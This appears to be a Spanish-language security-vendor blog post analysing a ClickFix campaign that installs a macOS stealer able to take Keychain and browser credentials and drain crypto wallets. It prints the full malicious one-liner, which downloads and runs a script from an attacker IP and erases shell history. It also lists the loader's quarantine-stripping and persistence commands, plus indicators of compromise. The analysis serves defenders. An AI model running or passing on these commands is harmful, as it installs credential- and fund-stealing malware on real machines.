Malware para macOS que vacía billeteras quiere tu criptomoneda

Puntos clave

  • La causa raíz de la infección por malware en macOS fue la estafa ClickFix.

  • El ataque ClickFix entregó un script de shell que recopila información de perfil sobre la computadora, y luego obtiene un payload de malware para macOS que varía según la arquitectura de CPU de la computadora.

  • Si bien el payload del malware puede robar contraseñas, su función más interesante es su capacidad de vaciar lentamente cuentas de criptomoneda, desviando su contenido hacia cuentas bajo el control del actor de amenazas.

  • El rango de dirección IP que alojaba el malware pertenece a un proveedor ruso conocido de alojamiento resistente a la interrupción, sancionado por EE. UU. y otros países en 2025.

Agradecimientos: Un agradecimiento especial a Anna Pham, Bryan Masters y Jai Minton por sus contribuciones a esta investigación, las mejoras en las señales de detección y la redacción. 

Resumen: Huntress respondió a un incidente en el que la víctima fue engañada para pegar un comando de ClickFix en una Terminal de Mac. La víctima infectó su dispositivo macOS con un malware Mach-O (el formato nativo de aplicaciones para computadoras Mac) basado en Go, que se entregó como el payload final de una cadena de scripts de shell que descargó el comando de ClickFix. El malware recolecta credenciales sensibles del Keychain de macOS y de otras aplicaciones, y las exfiltra a una dirección externa.

Contexto

Durante una investigación retrospectiva de amenazas en junio de 2026, un analista de Huntress encontró componentes de un malware tipo stealer específico para Mac en un sistema monitoreado que había sido infectado tres meses antes.

La víctima provocó la infección al caer en un tipo de truco de ingeniería social conocido como ClickFix. ClickFix se ha vuelto extremadamente popular en los últimos años, y hemos visto este ataque en muchas variantes y formas distintas. En un ataque de ClickFix, al usuario de la computadora se le muestra una ventana emergente que parece una prueba CAPTCHA. La ventana indica a la víctima que copie el texto de una cadena de comando larga y la pegue en la aplicación Terminal de la computadora. La cadena de comando normalmente descarga y ejecuta la etapa inicial del ataque.

En este caso, ese comando descargó un perfilador/cargador de Bash que recolectaba detalles del sistema, y luego obtenía un payload Mach-O nativo de Mac que coincidía con la arquitectura del procesador de la víctima. Mach-O es el formato ejecutable que usa macOS, y en este caso el stealer basado en Go fue diseñado para extraer almacenes de contraseñas del navegador, datos del Keychain de Apple y credenciales almacenadas en caché del sistema infectado.

El malware también incluía una función DRAIN que podía verificar si una billetera de criptomoneda tenía fondos, y luego redirigía todo o parte de ese saldo a billeteras controladas por el atacante. El cargador, el alojamiento del payload y el comando y control (C2) estaban todos vinculados a la infraestructura de Aeza Group, un proveedor ruso de alojamiento resistente a la interrupción conocido por dar servicio a grupos cibercriminales organizados y de ransomware. Aeza Group fue sancionado por EE. UU. en 2025, con sanciones conjuntas posteriores por parte del Reino Unido y Australia.

Tácticas del atacante 

En este incidente, la víctima había seguido un enlace enviado en un mensaje de correo electrónico. Cuando se abrió la página, apareció la ventana emergente de ClickFix y le indicó que ejecutara el comando que se muestra a continuación. 

export SRC_URL='https://profitnow[.]io/' && (cd /tmp && curl -kfsSL "http://193.29.224[.]151/92392991a0cca55?force=1" -o .UlaccK && bash .UlaccK && rm -f .UlaccK) > /dev/null 2>&1 & clear; printf '\033[3J'; history -d $(history 1 2>/dev/null | awk '{print $1}') 2>/dev/null; fc -p /dev/null 2>/dev/null;

Este comando le indicaba a la computadora que recuperara un archivo desde la dirección IP 193.29.224[.]151 , lo ejecutara y luego eliminara el archivo almacenado temporalmente. Después limpiaba la ventana de Terminal y borraba el historial de comandos de la Terminal, eliminando cualquier rastro del comando original que se ejecutó.

El archivo que se descargó es un script de Bash que crea un perfil detallado del sistema de la víctima y recupera/ejecuta uno de dos payloads de malware distintos para macOS, dependiendo de si la arquitectura del CPU de la víctima es (o no es) ARM64.

Figura 1: El componente "perfilador/cargador" recupera información detallada sobre la computadora de la víctima

Los comandos clave ejecutados por este componente "profiler/loader" son los siguientes, en orden secuencial:

  • ioreg -c IOPlatformExpertDevice -d 2: Da detalles sobre el hardware que usa el objetivo, incluyendo identificadores de la placa base, números de serie y detalles de la CPU

  • system_profiler SPHardwareDataType: Identifica los detalles específicos de la CPU, la RAM y la ROM del sistema en ejecución, incluyendo algunos datos redundantes que también revela el comando anterior

  • echo "$(whoami)": Identifica el nombre de la cuenta de usuario con la sesión iniciada actualmente

  • mkdir -p "$HOME/Library/Caches/com.apple.trustd": Crea un directorio en el sistema del objetivo con un nombre que imita al del proceso legítimo en macOS que gestiona los certificados criptográficos

  • uname -m: Consulta la arquitectura del procesador. Si el resultado es "arm64", obtiene una versión del malware; de lo contrario, obtiene otra versión alojada en el mismo sitio web.

  • curl -kFsSL [payload URL] -o [random filename]: Descarga el ejecutable de malware Mach-O y lo escribe en un nombre de archivo de letras aleatorias, codificado directamente en el script.

  • cp [random filename] $HOME/Library/Caches/com.apple.trustd/com.apple.verified: Copia el ejecutable de malware descargado a este directorio, con el nombre com.apple.verified

  • chmod +x com.apple.verified: Marca el archivo descargado como una aplicación ejecutable

  • xattr -d com.apple.quarantine $HOME/Library/Caches/com.apple.trustd/com.apple.verified: Elimina el bit de Gatekeeper, para que macOS no le advierta al usuario con un mensaje emergente cuando se ejecute el malware. Cabe destacar que curl es una de las pocas herramientas de internet de macOS que no activa el bit de Gatekeeper en los archivos que descarga, un atributo de archivo extendido que le permite al sistema operativo identificar programas descargados de internet, por lo que este paso parece innecesario dado este método específico de entrega.

Figura 2: El componente "profiler/loader" crea esta carpeta antes de obtener y escribir el payload final en ella

El malware también estableció persistencia desplegando un payload (SHA256: b43a909a01e954d6549558f2f7e9bb58e34959a0ae229f340d61091ab726bbd3) en /Users/<redacted>/Library/Caches/com.apple.softwareupdate/SoftwareUpdate, una ruta a nivel de sistema que macOS usa para las verificaciones automáticas en segundo plano de actualizaciones o para ejecutar manualmente softwareupdate desde Terminal.

Al payload se le eliminan sus atributos de archivo extendidos, se firma de forma ad-hoc y luego se incorpora al subsistema de Background Task Management (BTM) mediante launchctl bootstrap gui/501 /Users/m1/Library/LaunchAgents/com.apple.softwareupdated.plist. BTM es un subsistema legítimo de Apple que se usa para rastrear todo lo que se instala para ejecutarse automáticamente en segundo plano (como agentes de inicio, elementos de inicio de sesión o tareas cron). 

Los atacantes también lograron una mayor escalación de privilegios al pedirle a la víctima sus credenciales mediante un cuadro de diálogo de osascript. osascript permite que scripts o herramientas de línea de comandos activen elementos nativos de la interfaz de usuario de macOS (como alertas o indicaciones) sin tener que escribir una aplicación completa. Mientras que los desarrolladores lo usan para cosas como mensajes de confirmación, los actores de amenazas lo han usado para crear algo que parece una indicación legítima de macOS.

Figura 3: El malware le pide a la víctima que ingrese su contraseña en este cuadro de diálogo para capturarla y usarla sin volver a pedirla al hacer otros cambios

Payload del ladrón de información

El ejecutable del malware fue escrito en el lenguaje de programación Go y se compiló usando una herramienta llamada Go Garbler para ofuscar las cadenas de texto plano en el binario compilado.

Al momento de las infecciones, se alojaban dos versiones distintas del ladrón de información. El payload descargado en la computadora del objetivo es un ejecutable Mach-O compilado para la arquitectura de procesador ARM64, usada por las CPU M2 de Apple. Se habría descargado un ejecutable Mach-O alternativo si la máquina del objetivo hubiera estado usando una arquitectura de procesador de 64 bits que no fuera ARM.

Ambos ladrones de información están diseñados para rastrear el disco duro del objetivo en busca de archivos específicos que contengan credenciales almacenadas. Lo hace mediante una lista exhaustiva de archivos específicos y sus ubicaciones típicas en el sistema de archivos de macOS, además de identificar tipos de archivo por extensión. Se apunta a las bases de datos de contraseñas del navegador, al Apple Keychain y a las credenciales almacenadas en las cookies del navegador.

Cabe destacar que el ladrón de información contiene código diseñado para interceptar y redirigir datos de transacciones que involucran varias criptomonedas, incluidas Bitcoin, Litecoin, Dogecoin y Monero. 

Figura 4: Una lista codificada de forma fija de direcciones de billeteras de criptomonedas controladas por el actor de amenazas, incrustada en el binario del ladrón de información. Ninguna de las direcciones de billetera visibles públicamente ha recibido valor alguno ni tiene registro de transacciones.

Una función llamada DRAIN identificaría direcciones de billetera probables vinculadas a estas distintas criptomonedas y consultaría la blockchain para determinar si la billetera tiene saldo; si el malware encuentra una dirección de billetera, obtiene una dirección de billetera alternativa (ya sea de una lista incrustada y codificada de forma fija en el binario, o desde su servidor C2) y puede robar una parte (indicada por la variable DRAIN_PCT) o la totalidad del contenido de la billetera, transfiriendo el valor a una billetera controlada por el actor de amenazas.

Figura 5: La función DRAIN identifica varias direcciones de billeteras de criptomonedas y puede redirigir el contenido a una billetera controlada por el actor de amenazas

Si bien esto puede no ser una función completamente nueva, es la primera vez que vemos un malware capaz de vaciar una billetera de criptomonedas que podía usarse para extraer cualquier cantidad menor al valor total de la billetera. El malware contenía funciones separadas para determinar cuánto vale exactamente el 1% del contenido de la billetera, según la criptomoneda que el malware tenga como objetivo.

Figura 6: Una variable llamada DRAIN_PCT determina qué tan rápido el malware agotará la billetera de la víctima, después de que esta función calcula cuánto vale cada porcentaje de la billetera

El malware tiene subrutinas distintas para realizar la operación de "drenaje" según la criptomoneda objetivo: había versiones ligeramente distintas de este código dirigidas al formato de blockchain usado por Bitcoin, Litecoin y Dogecoin; Ethereum; y XRP de Ripple. 

Figura 7: El código incluye un comentario "DRAIN_PCT% to us" por si el propósito de esta función no quedaba del todo claro. Al menos dejaron que la víctima se quedara con el cambio.

Relaciones de red

Figura 8: Una visualización que mapea las relaciones entre URL, direcciones IP de alojamiento y payloads. Fuente: VirusTotal

Todos los componentes del ataque se comunicaron con direcciones IP que comparten propiedad y control comunes: el Sistema Autónomo (AS) 210644 es operado por una corporación rusa conocida como Aeza Group, que opera un conocido centro de "alojamiento resistente a la interrupción" utilizado por grupos organizados de cibercriminales y de ransomware; Aeza Group fue objeto de una orden de sanción de la OFAC del Departamento del Tesoro de EE. UU. en julio de 2025. Esas sanciones luego se ampliaron y se sumaron el Reino Unido y Australia en noviembre de 2025. 

Ambas direcciones de alojamiento, 77.221.152[.]34 y 193.29.224[.]151, se usaron para entregar el payload perteneciente al conjunto de direcciones IP de Aeza Group. 

El ladrón de información se habría comunicado con un servidor C2 en 138.124.118[.]69, usando el protocolo HTTP a través del puerto no estándar 8133/tcp. Este también forma parte del conjunto de direcciones IP de Aeza Group.

Guía de mitigación 

Es posible reducir la probabilidad de recibir ventanas emergentes de ataques ClickFix instalando complementos de navegador que mitigan scripts maliciosos, como la extensión del navegador NoScript (disponible para Chrome y Firefox). Dispositivos de red como un agujero negro de DNS PiHole también pueden reducir la probabilidad de ventanas emergentes al bloquear la resolución de dominios conocidos como maliciosos mediante el bloqueo de DNS.

Sin embargo, la mejor mitigación contra ClickFix es la educación del usuario: capacitar a los usuarios sobre la amenaza que representan estos CAPTCHA falsos inusuales y extraños, y cómo reconocerlos y evitarlos, es una estrategia esencial para una defensa en capas.

Si un usuario sigue inadvertidamente un exploit de ClickFix, es imprescindible que informe a su equipo de TI de inmediato y que la máquina se coloque en modo de aislamiento. 

El malware puede lograr persistencia o no, pero se remedia fácilmente eliminando cualquier copia del binario que haya quedado en la máquina. Una vez eliminado, el malware no se reconstituirá por sí solo.

Indicadores de compromiso (IOC)

Huntress ha publicado estos indicadores en nuestro repositorio de Github.

Elemento

Descripción

$HOME/Library/Caches/com.apple.trustd/com.apple.verified

Ruta del sistema de archivos usada por este malware

com.apple.verified

SHA256: f0062f7e70e61493684a2f60748a475168e155bc2502163c844c42e87692abd0

Ejecutable stealer (ARM64)

$HOME/Library/Caches/homeenergyd/com.apple.homeenergyd

Ruta del sistema de archivos usada por este malware

com.apple.homeenergyd

SHA256: 619a99ba4ee9d7f33db8045c7e03c4265424977993fe8a53b0f45157c5abd3e5

Ejecutable stealer (x86_64)

SHA256: 5bad988affc1094f12b8b8bed659ef55b20e2988eb25441e1c1b34dd03b3eb52

Script Bash de perfilado/carga

193.29.224[.]151

Dirección IP que aloja el cargador

77.221.152[.]34

Dirección IP que aloja las cargas útiles

138.124.118[.]69

Dirección IP usada para la exfiltración y el C2

138.124.118[.]69:8133

Dirección IP y puerto http no estándar

profitnow[.]io

Dominio usado durante la fase de ClickFix

También te podría interesar

Más información sobre Cómo funcionan los ataques de ransomware y cómo mantenerte un paso adelante
Cómo funcionan los ataques de ransomware y cómo mantenerte un paso adelante
Blog

Ningún endpoint es inmune. El ransomware está afectando a empresas de todos los tamaños, y la doble extorsión se ha convertido en la norma. Así puedes desglosar cómo son realmente estos ataques para mantenerte un paso adelante.

Más información sobre OpenClaw, agentes descontrolados e higiene de aplicaciones
OpenClaw, agentes descontrolados e higiene de aplicaciones
Blog

Los agentes de IA de OpenClaw representan un riesgo de seguridad en los inquilinos de Microsoft porque a menudo reciben permisos de cloud amplios y de alto impacto que un atacante podría heredar de inmediato si el agente se ve comprometido. Descubre por qué la higiene proactiva de aplicaciones, que incluye el monitoreo continuo y la reducción de permisos innecesarios, es esencial para gestionar esta amenaza basada en identidad.

Más información sobre Ataques de phishing usan páginas de navegador dentro del navegador y persistencia con RMM fraudulento
Ataques de phishing usan páginas de navegador dentro del navegador y persistencia con RMM fraudulento
Blog

Descubre cómo un ataque de phishing con navegador dentro del navegador llevó a persistencia con ScreenConnect fraudulento y tácticas de evasión que Huntress detectó en plena acción.